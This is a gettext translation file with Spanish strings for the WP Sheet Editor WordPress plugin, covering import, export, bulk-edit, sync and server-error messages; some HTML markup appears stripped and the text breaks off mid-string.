msgid "Modified Date" msgstr "Fecha de modificación" #: wp-sheet-editor/dev/inc/api/bootstrap.php:682 msgid "Excerpt" msgstr "Extracto" #: wp-sheet-editor/dev/inc/api/bootstrap.php:695 msgid "Delete completely" msgstr "Eliminar completamente" #: wp-sheet-editor/dev/inc/api/bootstrap.php:774 msgid "Order" msgstr "Orden" #: wp-sheet-editor/dev/inc/api/bootstrap.php:837 msgid "Enter multiple terms separated by %s" msgstr "Ingresa varios términos separados por %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:866 msgid "Post type" msgstr "Post type" #: wp-sheet-editor/dev/inc/api/bootstrap.php:890 msgid "Password" msgstr "Contraseña" #: wp-sheet-editor/dev/inc/api/editor.php:207 msgid "" "\n" "(You can remove these help messages in the advanced settings)" msgstr "" "\n" "(Puedes remover estos mensajes de ayuda en los ajustes avanzados)" #: wp-sheet-editor/dev/inc/api/editor.php:226 msgid "Pro" msgstr "Pro" #: wp-sheet-editor/dev/inc/api/editor.php:227 msgid "Enable" msgstr "Habilitar" #: wp-sheet-editor/dev/inc/api/editor.php:283 msgid "Please select at least one column to import" msgstr "Por favor, selecciona al menos una columna a importar" #: wp-sheet-editor/dev/inc/api/editor.php:284 msgid "Show column key" msgstr "Mostrar la clave de la columna" #: wp-sheet-editor/dev/inc/api/editor.php:285 msgid "" "This is the dynamic tag for this column. You can copy this and use it in the " "bulk edit tool" msgstr "" "Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo " "en la herramienta de edición masiva" #: wp-sheet-editor/dev/inc/api/editor.php:286 msgid "Click here to show all columns again" msgstr "Haz clic aquí para ver todas las columnas otra vez" #: wp-sheet-editor/dev/inc/api/editor.php:287 msgid "" "The last import batch failed due to a server error, it's more likely that " "the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows " "every few seconds).
                  2- You can start a new import, sometimes trying again " "works (use the \"advanced settings\" in the step 1 of the import to start " "from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens " "after trying with 1 row per batch, you can contact us and we will make it work for you" msgstr "" "El último lote de importación falló debido a un error del servidor, es más " "probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, " "importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva " "importación, a veces intentarlo de nuevo funciona (usa los \"Ajustes " "avanzados\" en el paso 1 de la importación para empezar desde una fila " "específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre " "después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos." #: wp-sheet-editor/dev/inc/api/editor.php:288 msgid "" "Your server was not able to process this batch. Do you want to try again? " "You can retry 3 times, If 3 attempts fail we will stop the import completely." msgstr "" "Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de " "nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, " "pararemos la importación completamente." #: wp-sheet-editor/dev/inc/api/editor.php:289 msgid "" "Please correct the error in the file and start a new import. You can use the " "\"Advanced options\" in the step 1 of the import to start from this specific " "row." msgstr "" "Por favor, corrige el error en el archivo e inicia una nueva importación. " "Puedes usar las \"Opciones avanzadas\" en el paso 1 de la importación para " "empezar desde esta fila específica." #: wp-sheet-editor/dev/inc/api/editor.php:290 msgid "

                  The import has finished

                  " msgstr "

                  La importación ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:291 msgid "" "

                  The export has been scheduled. You can close this popup. View scheduled exports." msgstr "" "

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las " "exportaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:292 msgid "" "

                  The import has been scheduled. You can close this popup. View scheduled imports." msgstr "" "

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. " "Ver las " "importaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:293 msgid "" "

                  The changes have been scheduled. You can close this popup. View scheduled changes." "

                  " msgstr "" "

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. " "Ver los " "cambios programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:294 msgid "" "

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk " "edits.

                  " msgstr "" "

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana " "emergente. Ver los cambios masivos " "programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:295 msgid "Modified cells" msgstr "Celdas modificadas" #: wp-sheet-editor/dev/inc/api/editor.php:296 msgid "The export has been edited successfully" msgstr "La exportación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:297 msgid "" "The list of Google Sheets files has been refreshed. Please search your file " "again." msgstr "" "La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu " "archivo." #: wp-sheet-editor/dev/inc/api/editor.php:298 msgid "" "This will disconnect your Google account from WP Sheet Editor which will " "stop all sync jobs configured with that Google account across all your " "WordPress sites. But other users can connect their own Google account, so " "other users' sync jobs linked to their own Google accounts will remain " "unaffected. Are you sure you want to disconnect your Google account " "completely?" msgstr "" "Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá " "todas las tareas de sincronización configuradas con esa cuenta de Google en " "todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar " "su propia cuenta de Google, por lo que las tareas de sincronización de otros " "usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. " "¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?" #: wp-sheet-editor/dev/inc/api/editor.php:299 msgid "" "Disconnecting the current site from your Google account and the WP Sheet " "Editor API will pause the sync jobs you created on this site. However, sync " "jobs created by other users on this site, which sync to their own Google " "accounts, will remain active. Your other WordPress sites will continue to " "function normally. Do you want to continue?" msgstr "" "Si desconectas el sitio actual de tu cuenta de Google y de la API de WP " "Sheet Editor, se detendrán las tareas de sincronización que hayas creado en " "este sitio. Sin embargo, las tareas de sincronización creadas por otros " "usuarios en este sitio, que se sincronizan con sus propias cuentas de " "Google, permanecerán activas. Tus otros sitios de WordPress seguirán " "funcionando con normalidad. ¿Quieres continuar?" #: wp-sheet-editor/dev/inc/api/editor.php:300 msgid "The bulk edit has been edited successfully" msgstr "El cambio masivo ha sido editado con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:301 msgid "The import has been edited successfully" msgstr "La importación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:302 msgid "Name of this export" msgstr "Nombre de esta exportación" #: wp-sheet-editor/dev/inc/api/editor.php:303 msgid "" "Are you sure you want to delete this scheduled job and all its related files?" msgstr "" "¿Estás seguro de que quieres eliminar esta tarea programada y todos sus " "archivos relacionados?" #: wp-sheet-editor/dev/inc/api/editor.php:304 msgid "Are you sure you want to delete this columns view?" msgstr "¿Estás seguro de que quieres eliminar esta vista de columnas?" #: wp-sheet-editor/dev/inc/api/editor.php:306 msgid "

                  The process has finished

                  " msgstr "

                  El proceso ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:307 msgid "The selected product does not have variations" msgstr "El producto seleccionado no tiene variaciones" #: wp-sheet-editor/dev/inc/api/editor.php:308 msgid "empty" msgstr "vacío" #: wp-sheet-editor/dev/inc/api/editor.php:309 msgid "This will save you {clicks_count} clicks :)" msgstr "Esto te ahorrará {clicks_count} clics :)" #: wp-sheet-editor/dev/inc/api/editor.php:310 msgid "" "We found similar columns. Do you want to apply the same action to them? " "{columns}" msgstr "" "Encontramos columnas similares. ¿Quieres aplicarles la misma acción? " "{columns}" #: wp-sheet-editor/dev/inc/api/editor.php:311 msgid "" "This column is only for variation rows, parent products don't use this field" msgstr "" "Esta columna es sólo para las filas de variaciones, los productos padre no " "usan este campo" #: wp-sheet-editor/dev/inc/api/editor.php:312 msgid "Editing the field: {field_label}" msgstr "Editando el campo: {field_label}" #: wp-sheet-editor/dev/inc/api/editor.php:313 msgid "Column not found. Try with another search criteria." msgstr "Columna no encontrada. Intenta con otro criterio de búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:314 msgid "" "This column is for parent products only, variations don't use this field" msgstr "" "Esta columna es sólo para los productos padre, las variaciones no usan este " "campo" #: wp-sheet-editor/dev/inc/api/editor.php:315 msgid "Paste using keyboard: Ctrl+V" msgstr "Pegar con el teclado: Ctrl+V" #: wp-sheet-editor/dev/inc/api/editor.php:316 msgid "Realign cells" msgstr "Realinear celdas" #: wp-sheet-editor/dev/inc/api/editor.php:317 msgid "Remove all filters" msgstr "Eliminar todos los filtros" #: wp-sheet-editor/dev/inc/api/editor.php:318 msgid "Resize columns based on the values" msgstr "Redimensionar las columnas en base a los valores" #: wp-sheet-editor/dev/inc/api/editor.php:319 msgid "Delete row" msgstr "Borrar fila" #: wp-sheet-editor/dev/inc/api/editor.php:320 msgid "" "Do you want to delete {rows_number} rows from the database completely? If " "you want to restore them later, you should make a backup before." msgstr "" "Quieres borrar {rows_number} filas de la base de datos completamente? Si " "quieres restaurarlas después, deberías hacer una copia de seguridad antes." #: wp-sheet-editor/dev/inc/api/editor.php:321 msgid "Duplicate row" msgstr "Duplicar fila" #: wp-sheet-editor/dev/inc/api/editor.php:322 msgid "Hide column" msgstr "Ocultar columna" #: wp-sheet-editor/dev/inc/api/editor.php:323 msgid "Bulk edit column" msgstr "Editar esta columna masivamente" #: wp-sheet-editor/dev/inc/api/editor.php:325 msgid "Copy variations from this product" msgstr "Copiar variaciones de este producto" #: wp-sheet-editor/dev/inc/api/editor.php:327 msgid "Delete field" msgstr "Eliminar campo" #: wp-sheet-editor/dev/inc/api/editor.php:328 msgid "" "We will delete this meta field from the database and you will lose the " "values saved in this field on all the rows. You should make a backup to be " "able to restore in the future. Do you want to continue with the deletion?" msgstr "" "Borraremos este campo meta de la base de datos y perderás los valores " "guardados en este campo en todas las filas. Deberías hacer una copia de " "seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la " "eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:329 msgid "Delete serialized field" msgstr "Eliminar campo serializado" #: wp-sheet-editor/dev/inc/api/editor.php:330 msgid "" "We will delete this serialized field, which includes all its subfields, from " "the database and you will lose the values saved in this field on all the " "rows. You should make a backup to be able to restore in the future. Do you " "want to continue with the deletion?" msgstr "" "Borraremos este campo serializado, incluyendo todos sus subcampos, de la " "base de datos y perderás los valores guardados en este campo en todas las " "filas. Deberías hacer una copia de seguridad para poder restaurar en el " "futuro. ¿Quieres continuar con la eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:331 msgid "Edit meta key" msgstr "Editar la meta clave" #: wp-sheet-editor/dev/inc/api/editor.php:332 msgid "Error: The new value is empty or is equal to the old value" msgstr "Error: El nuevo valor está vacío o es igual al valor antiguo" #: wp-sheet-editor/dev/inc/api/editor.php:333 msgid "Showing rows from your last session." msgstr "Mostrando las filas de la última sesión." #: wp-sheet-editor/dev/inc/api/editor.php:334 msgid "Export column" msgstr "Exportar columna" #: wp-sheet-editor/dev/inc/api/editor.php:335 msgid "" "

                  The bulk edit was not applied completely. The process was canceled due to " "an error.

                  You can close this window.

                  " msgstr "" "

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado " "debido a un error.

                  Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:336 msgid "" "

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  " msgstr "" "

                  " "Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:337 msgid "" "Your server was not able to process this batch. Do you want to try again?" msgstr "" "El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:338 msgid "The bulk edit was executed successfully. You can close this window" msgstr "El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana." #: wp-sheet-editor/dev/inc/api/editor.php:340 msgid "" "ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want " "to reload now? We will reload automatically" msgstr "" "HABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: " "{columns}. ¿Quieres recargar ahora? Recargaremos automáticamente." #: wp-sheet-editor/dev/inc/api/editor.php:341 msgid "" "Column removed. Go to \"settings > hide/display columns\" to enable it again" msgstr "" "Columna removida. Ve a \"Ajustes > Ocultar/mostrar columnas\" para " "habilitarla de nuevo" #: wp-sheet-editor/dev/inc/api/editor.php:342 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:343 msgid "" "You have modified rows. Please save the changes before removing columns from " "the spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios antes de eliminar " "columnas de la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:344 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet. Do you want to refresh now?" msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo. ¿Quieres recargar ahora?" #: wp-sheet-editor/dev/inc/api/editor.php:345 msgid "" "Some rows were modified in the background. Please save the changes and " "reload the spreadsheet to see the changes" msgstr "" "Algunas filas fueron modificadas en segundo plano. Por favor, guarda los " "cambios y recarga la hoja de cálculo para ver los cambios." #: wp-sheet-editor/dev/inc/api/editor.php:346 msgid "" "Some rows were modified in the spreadsheet. Please save the changes before " "using this feature." msgstr "" "Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios " "antes de usar esta función." #: wp-sheet-editor/dev/inc/api/editor.php:347 msgid "" "We didn't find rows to update from the search query. Please try another " "search query." msgstr "" "No encontramos filas a actualizar a partir de la consulta de búsqueda. Por " "favor, intenta otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:348 msgid "We didn't find rows for the export. Please try another search query." msgstr "No encontramos filas a exportar. Por favor, intenta con otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:349 msgid "You can find all the settings here, like columns visibility, etc." msgstr "" "Puedes encontrar todos los ajustes aquí, como la visibilidad de las " "columnas, etc." #: wp-sheet-editor/dev/inc/api/editor.php:350 msgid "Oops, nothing found" msgstr "Oops, no encontramos nada." #: wp-sheet-editor/dev/inc/api/editor.php:352 msgid "Upload image" msgstr "Subir imagen" #: wp-sheet-editor/dev/inc/api/editor.php:353 msgid "View Gallery" msgstr "Ver Galería" #: wp-sheet-editor/dev/inc/api/editor.php:354 msgid "No options available" msgstr "No hay opciones disponibles" #: wp-sheet-editor/dev/inc/api/editor.php:355 #: wp-sheet-editor/dev/inc/api/helpers.php:1341 msgid "Items loaded in the spreadsheet" msgstr "Elementos cargados en la hoja de cálculo" #: wp-sheet-editor/dev/inc/api/editor.php:356 msgid "New rows added" msgstr "Se añadieron nuevas filas" #: wp-sheet-editor/dev/inc/api/editor.php:357 msgid "" "The bulk edit has been executed. Do you want to reload the page to see the " "changes?" msgstr "" "El cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los " "cambios?" #: wp-sheet-editor/dev/inc/api/editor.php:358 msgid "" "

                  The changes were not saved completely. The process was canceled due to an " "error .

                  You can close this popup.

                  " msgstr "" "

                  Los cambios no se guardaron completamente. El proceso fue cancelado " "debido a un error .

                  Puedes cerrar esta ventana emergente.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:359 msgid "" "

                  The automatic saving failed. Your changes were not saved completely due " "to an error. You can try again later, if the error persists contact our " "support team and keep this tab opened

                  " msgstr "" "

                  El guardado automático falló. Tus cambios no se guardaron completamente " "debido a un error. Puedes intentarlo de nuevo más tarde. Si el error " "persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta." "

                  " #: wp-sheet-editor/dev/inc/api/editor.php:360 msgid "{updated} attributes have been merged." msgstr "Se combinaron {updated} atributos." #: wp-sheet-editor/dev/inc/api/editor.php:361 msgid "{updated} items saved of {total} items that need saving." msgstr "" "Se han guardado {updated} elementos de {total} elementos que necesitan " "guardarse." #: wp-sheet-editor/dev/inc/api/editor.php:362 msgid "" "Scanning variations to be created. {updated} products of {total} products " "have been processed." msgstr "" "Escaneando variaciones a crear. Se han procesado {updated} productos de " "{total} productos." #: wp-sheet-editor/dev/inc/api/editor.php:363 msgid "{deleted} duplicates have been removed." msgstr "Se eliminaron {deleted} duplicados." #: wp-sheet-editor/dev/inc/api/editor.php:364 msgid "All items have been saved." msgstr "Se han guardado todos los elementos." #: wp-sheet-editor/dev/inc/api/editor.php:365 msgid "" "Please check if you have unsaved changes. If you have, please save them or " "they will be dismissed." msgstr "" "Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, " "guárdalos o serán descartados." #: wp-sheet-editor/dev/inc/api/editor.php:366 msgid "Everything is already saved." msgstr "Ya está todo guardado." #: wp-sheet-editor/dev/inc/api/editor.php:367 msgid "" "The server did not accept our request. Bad request, please try refresh the " "page and try again." msgstr "" "El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta " "actualizar la página e inténtalo de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:368 msgid "" "The server didn't accept our request. You don't have permission to do this " "action. Please log in again." msgstr "" "El servidor no aceptó nuestra petición. No tienes permisos para realizar " "esta acción. Por favor, inicia sesión de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:369 msgid "The server is not available or overloaded. Please try again later." msgstr "" "El servidor no está disponible o está sobrecargado. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:370 msgid "The server is not available or overloaded. Do you want to try again?" msgstr "" "El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de " "nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:371 msgid "" "The auto saving failed: the server is not available or overloaded. Do you " "want to try again?" msgstr "" "El guardado automático falló: El servidor no está disponible o está " "sobrecargado. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:372 msgid "" "The server wasn't able to process our request. Server error. Please try " "again later." msgstr "" "El servidor no pudo procesar nuestra petición. Error del servidor. Por " "favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:373 msgid "" "The server has exceeded its allocated resources and is not able to process " "our request." msgstr "" "El servidor ha excedido sus recursos asignados y no puede procesar nuestra " "solicitud." #: wp-sheet-editor/dev/inc/api/editor.php:374 msgid "" "The server is busy and took too long to respond to our request. Please try " "again later." msgstr "" "El servidor está ocupado y tardó demasiado en responder a nuestra petición. " "Por favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:375 msgid "The server could not process our request. Please try again later." msgstr "" "El servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:376 msgid "Change background color" msgstr "Cambiar el color de fondo" #: wp-sheet-editor/dev/inc/api/editor.php:377 msgid "" "

                  Missing column?

                  " msgstr "" "

                  ¿Falta una columna?

                  o " #: wp-sheet-editor/dev/inc/api/editor.php:383 msgid "" "Do we deserve a 5-star review? Yes, you deserve it . - . " "No" msgstr "" "¿Merecemos 5 estrellas? Sí, lo merecen. . - . No" #: wp-sheet-editor/dev/inc/api/helpers.php:444 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 msgid "(Pro extension)" msgstr "(Extensión Pro)" #: wp-sheet-editor/dev/inc/api/helpers.php:448 #: wp-sheet-editor/dev/inc/teasers/coupons.php:35 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 #: wp-sheet-editor/dev/inc/teasers/users.php:34 msgid "(Install free extension)" msgstr "(Instalar extensión gratuita)" #: wp-sheet-editor/dev/inc/api/helpers.php:551 msgid "The item could not be saved. Please try again in other moment." msgstr "" "El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro " "momento." #: wp-sheet-editor/dev/inc/api/helpers.php:1026 msgid "User not allowed to edit rows" msgstr "Usuario no autorizado para editar las filas" #: wp-sheet-editor/dev/inc/api/helpers.php:1308 msgid "No more posts available." msgstr "No hay más filas disponibles." #: wp-sheet-editor/dev/inc/api/helpers.php:1310 msgid "" "No posts found matching your search parameters. You can remove the active " "filters or try with a different search." msgstr "" "No se han encontrado filas que coincidan con los parámetros de búsqueda. " "Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente." #: wp-sheet-editor/dev/inc/api/helpers.php:1312 msgid "No posts available for the current page." msgstr "No hay filas disponibles para la página actual." #: wp-sheet-editor/dev/inc/api/logger.php:49 msgid "The log file does not exist." msgstr "El archivo de registro no existe." #: wp-sheet-editor/dev/inc/integrations/elementor.php:60 msgid "Elementor" msgstr "Elementor" #: wp-sheet-editor/dev/inc/integrations/notifier.php:38 msgid "Disable the popup that asks you to install important extensions?" msgstr "" "¿Deshabilitar la ventana emergente que te pide instalar extensiones " "importantes?" #: wp-sheet-editor/dev/inc/integrations/notifier.php:39 msgid "" "We show a popup asking you to install free extensions when we detect that " "you are using a third-party plugin that requires special compatibility, " "which helps us prevent errors." msgstr "" "Mostramos una ventana emergente pidiéndote que instales extensiones " "gratuitas cuando detectamos que estás utilizando un plugin de terceros que " "requiere una compatibilidad especial, lo que nos ayuda a evitar errores." #: wp-sheet-editor/dev/inc/integrations/notifier.php:201 msgid "Integrations" msgstr "Integraciones" #: wp-sheet-editor/dev/inc/integrations/notifier.php:241 msgid "Important extensions" msgstr "Extensiones importantes" #: wp-sheet-editor/dev/inc/integrations/notifier.php:242 msgid "" "Some of your plugins require special compatibility, and we have created " "these extensions that you can download for free if you purchased our plugin." msgstr "" "Algunos plugins requieren compatibilidad especial y hemos creado estas " "extensiones que puedes descargar gratuitamente si compraste nuestro plugin." #: wp-sheet-editor/dev/inc/integrations/notifier.php:243 msgid "" "It's important that you install them to prevent errors, but you can do it " "later if you want. Find this popup in the toolbar > extensions > " "Integrations." msgstr "" "Es importante que las instales para evitar errores, pero puedes hacerlo más " "tarde si quieres. Encuentra esta ventana emergente en la barra de " "herramientas > extensiones > Integraciones." #: wp-sheet-editor/dev/inc/integrations/notifier.php:244 msgid "" "If you click on the \"download\" button, we will download the file from the " "official website: wpsheeteditor.com." msgstr "" "Si haces clic en el botón \"descargar\", descargaremos el archivo desde el " "sitio web oficial: wpsheeteditor.com." #: wp-sheet-editor/dev/inc/integrations/notifier.php:251 #: wp-sheet-editor/dev/inc/integrations/notifier.php:274 msgid "Extension name" msgstr "Nombre de la extensión" #: wp-sheet-editor/dev/inc/integrations/notifier.php:252 #: wp-sheet-editor/dev/inc/integrations/notifier.php:275 #: wp-sheet-editor/dev/inc/teasers/post-types.php:96 msgid "Description" msgstr "Descripción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:253 #: wp-sheet-editor/dev/inc/integrations/notifier.php:276 msgid "Action" msgstr "Acción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Already downloaded" msgstr "Descargada" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 msgid "Download" msgstr "Descargar" #: wp-sheet-editor/dev/inc/integrations/notifier.php:270 msgid "Extensions that require update" msgstr "Extensiones que requieren actualización" #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Download update" msgstr "Actualización de descarga" #: wp-sheet-editor/dev/inc/integrations/notifier.php:290 msgid "" "When you finish downloading the plugins, you need to go to wp-admin > " "plugins > add new and install them." msgstr "" "Cuando termines de descargar los plugins, tienes que ir a wp-admin > plugins " "> añadir nuevo e instalarlos." #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #, fuzzy #| msgid "Need help?" msgid "Do you need help?." msgstr "¿Necesitas ayuda?" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:33 msgid "WPBakery Page Builder" msgstr "WPBakery Page Builder" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:46 msgid "Live" msgstr "En vivo" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:52 msgid "Backend" msgstr "Backend" #: wp-sheet-editor/dev/inc/options-init.php:19 msgid "Speed and performance" msgstr "Velocidad y rendimiento" #: wp-sheet-editor/dev/inc/options-init.php:25 msgid "Load rows faster: Number of rows to load per batch" msgstr "Cargar las filas más rápido: Número de filas a cargar por lote" #: wp-sheet-editor/dev/inc/options-init.php:26 msgid "" "We use pagination to use few server resources. We load 20 rows first and " "load 20 more every time you scroll down. You can increase this number to " "load more rows per page. CAREFUL. Loading more than 200 rows per page might " "overload your server. If we detect that the server is overloaded we will " "automatically reset to 10 rows per page." msgstr "" "Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 " "filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar " "este número para cargar más filas por página. CUIDADO. Cargar más de 200 " "filas por página podría sobrecargar tu servidor. Si detectamos que el " "servidor está sobrecargado, automáticamente se restablecerá a 10 filas por " "página." #: wp-sheet-editor/dev/inc/options-init.php:33 msgid "Export rows faster: Number of rows to export per batch" msgstr "Exportar filas más rápido: Número de filas a exportar por lote" #: wp-sheet-editor/dev/inc/options-init.php:34 msgid "" "Here you can control the batch size for the exports. If you use a high " "number the exports will finish faster. You can use a high number safely " "because we automatically fall back to a lower number if the server is " "overloaded during one export. For example, export 100 rows per batch and " "complete the exports super fast and if we detect slowness in one export we " "will automatically restart the export with 10 rows per batch" msgstr "" "Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un " "número alto, las exportaciones terminarán más rápido. Puedes usar un número " "alto de forma segura porque automáticamente volvemos a un número más bajo si " "el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 " "filas por lote y completar las exportaciones súper rápido y si detectamos " "lentitud en una exportación reiniciaremos automáticamente la exportación con " "10 filas por lote" #: wp-sheet-editor/dev/inc/options-init.php:41 msgid "Save changes faster: Number of rows to save per batch" msgstr "Guarda los cambios más rápido: Número de filas a guardar por lote" #: wp-sheet-editor/dev/inc/options-init.php:42 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. The recommended value " "is 4 , which means we will process only 4 posts at once. You can adjust it " "as it works best for you. If you get errors when saving you should lower the " "number" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a " "la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al " "guardar, deberías reducir el número" #: wp-sheet-editor/dev/inc/options-init.php:49 msgid "Delete posts faster: Number of posts to delete per batch" msgstr "Borrar filas más rápido: Número de filas a borrar por lote" #: wp-sheet-editor/dev/inc/options-init.php:50 msgid "" "When you delete posts, pages, events, products, orders, coupons, and other " "post types, you can select how many will be deleted on every batch. Use a " "higher number to finish faster. Default is 500" msgstr "" "Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y " "otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa " "un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. " "Predeterminado: 500" #: wp-sheet-editor/dev/inc/options-init.php:58 msgid "Increase Productivity" msgstr "Aumentar la productividad" #: wp-sheet-editor/dev/inc/options-init.php:63 msgid "Use pagination in the spreadsheet?" msgstr "¿Usar la paginación en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:64 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list." msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y desactivar la lista infinita." #: wp-sheet-editor/dev/inc/options-init.php:70 msgid "Disable the automatic loading of rows?" msgstr "¿Desactivar la carga automática de filas?" #: wp-sheet-editor/dev/inc/options-init.php:71 msgid "" "When you open the spreadsheet, we load the rows automatically so you can " "start editing right away. Activate this option if you want to search rows " "and load manually." msgstr "" "Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que " "puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar " "filas y cargarlas manualmente." #: wp-sheet-editor/dev/inc/options-init.php:77 msgid "Disable the full screen mode?" msgstr "¿Desactivar el modo de pantalla completa?" #: wp-sheet-editor/dev/inc/options-init.php:78 msgid "" "When the sheet loads, we open it in full screen and you have the option to " "exit the full screen mode. Activate this option and we wont open the sheet " "in full screen." msgstr "" "Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes " "la opción de salir del modo de pantalla completa. Habilita esta opción y no " "abriremos la hoja en pantalla completa." #: wp-sheet-editor/dev/inc/options-init.php:84 msgid "Load more items on scroll?" msgstr "¿Cargar más filas al hacer scroll?" #: wp-sheet-editor/dev/inc/options-init.php:85 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page. You can enable / disable in " "the spreadsheet too." msgstr "" "Cuando esta opción está habilitada, se cargarán más filas en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página. También " "puedes habilitar/deshabilitar en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:92 msgid "Freeze first columns at the left side?" msgstr "¿Congelar las columnas iniciales del lado izquierdo?" #: wp-sheet-editor/dev/inc/options-init.php:93 msgid "" "Enter a number and those columns will be frozen while scrolling " "horizontally. You can right click on any column to freeze or unfreeze it. " "For example, enter 2 to freeze the first 2 columns" msgstr "" "Ingresa un número y esas columnas se fijarán al hacer scroll " "horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y " "descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas." #: wp-sheet-editor/dev/inc/options-init.php:99 msgid "Enable auto saving?" msgstr "¿Habilitar el guardado automático?" #: wp-sheet-editor/dev/inc/options-init.php:100 msgid "" "Turn this on and the spreadsheet will save automatically all the changes " "made on the cells every 2 minutes. Careful, this might cause issues if the " "changes are saved prematurely before you finish editing all the required " "columns." msgstr "" "Habilita esto y la hoja de cálculo guardará 